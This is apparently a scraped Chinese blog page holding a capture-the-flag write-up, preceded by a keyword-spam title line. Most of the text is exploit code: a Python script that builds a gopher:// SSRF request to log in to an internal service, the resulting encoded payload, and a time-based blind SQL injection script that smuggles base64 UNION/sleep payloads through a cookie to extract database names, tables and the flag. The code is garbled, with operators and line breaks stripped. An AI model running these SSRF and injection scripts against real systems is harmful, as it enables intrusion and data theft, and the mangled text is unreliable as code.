flash html网站模板,做公司的网站有哪些东西,关闭wordpress,汨罗做网站不太会#xff0c;以后慢慢看
被骗了#xff0c;看见very_easy就点进来了#xff0c;结果所有sql能试的全试了一点用都没有 打开源代码发现有个use.php 好家伙#xff0c;这是真的在考sql吗...... 制作gopher协议的脚本#xff1a;
import urllib.parsehost 12…不太会以后慢慢看
被骗了看见very_easy就点进来了结果所有sql能试的全试了一点用都没有 打开源代码发现有个use.php 好家伙这是真的在考sql吗...... 制作gopher协议的脚本
import urllib.parsehost 127.0.0.1:80
content unameadminpasswdadmin
content_length len(content)test \
POST /index.php HTTP/1.1
Host: {}
User-Agent: curl/7.43.0
Accept: */*
Content-Type: application/x-www-form-urlencoded
Content-Length: {}{}
.format(host,content_length,content)tmp urllib.parse.quote(test)
new tmp.replace(%0A,%0D%0A)
result urllib.parse.quote(new)
print(gopher://host/_result)得出来payload在网址处提交 gopher://127.0.0.1:80/_POST%2520/index.php%2520HTTP/1.1%250D%250AHost%253A%2520127.0.0.1%253A80%250D%250AUser-Agent%253A%2520curl/7.43.0%250D%250AAccept%253A%2520%252A/%252A%250D%250AContent-Type%253A%2520application/x-www-form-urlencoded%250D%250AContent-Length%253A%252024%250D%250A%250D%250Auname%253Dadmin%2526passwd%253Dadmin%250D%250A Set_Cookie处有YWRtaW4%3D解码半天弄不出来突然意识到%3D是的意思哎呦我这个笨蛋
没有报错没有回显这道题用时间盲注注入点在cookie中
时间盲注脚本
import urllib.parse
import requests
import time
import base64url http://61.147.171.105:51906/use.php?url
flag
for pos in range(1, 50):for i in range(32, 127):# 猜一下回显数量#payload) union select 1,2,if(11,sleep(2),1)## 猜数据库名字为securitypayload ) union select 1,2,if(ascii(substr((database()),str(pos),1))str(i),sleep(2),1)## 猜解数据库表名为flag# poc ) union select 1,2,if(ascii(substr((select group_concat(table_name) from information_schema.tables where table_schemasecurity),str(pos),1))str(i),sleep(2),1)## 猜解flag字段#payload ) union select 1,2,if(ascii(substr((select * from flag),str(pos),1))str(i),sleep(2),1) #payload base64.b64encode(payload.encode(utf-8)).decode(utf-8)final_poc gopher://127.0.0.1:80/_GET%20%2findex.php%20HTTP%2f1.1%250d%250aHost%3A%20localhost%3A80%250d%250aConnection%3A%20close%250d%250aContent-Type%3A%20application%2fx-www-form-urlencoded%250d%250aCookie%3A%20this%5Fis%5Fyour%5Fcookie%3Dpayload%3B%250d%250astart time.time()requests.get(urlfinal_poc)end time.time()if end-start 2: # 如果时间大于2秒说明这个字符是正确的flag chr(i)print(flag)breakelse:continue
